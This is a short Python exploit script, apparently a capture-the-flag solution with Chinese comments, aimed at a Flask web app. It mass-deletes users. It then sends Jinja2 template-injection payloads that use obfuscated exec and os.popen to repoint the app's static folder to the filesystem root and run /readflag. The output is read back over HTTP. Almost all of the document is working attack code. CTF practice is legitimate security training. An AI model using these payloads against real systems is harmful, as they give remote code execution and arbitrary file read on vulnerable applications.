#删除user,释放占用的文件 for j inrange(1,300): data = {"username":"admin"+str(j)} res = requests.post(url+'/removeUser',data=data,cookies={"Token":token1}) print(res.text)
data = {"code":"{{x.__init__.__globals__.__getitem__('__builtins__').__getitem__('ex''ec')(\"setattr(__import__('sys').modules.__getitem__('__main__').__dict__.__getitem__('APP'.lower()),'_static_folder','/')\")}}"} #将static目录污染到根目录 requests.post(url+'/admin',data=data,cookies={"Token":token1})
data = {"code":"{{g.pop.__globals__.__builtins__.__import__('OS'.lower()).popen('/readflag 2>&1 1>/tmp/res.txt').read()}}"} #由于它关闭了标准输出,这里将错误输出从定向到res.txt requests.post(url+'/admin',data=data,cookies={"Token":token1})
res = requests.get(url+'/static/tmp/res.txt') print(res.text)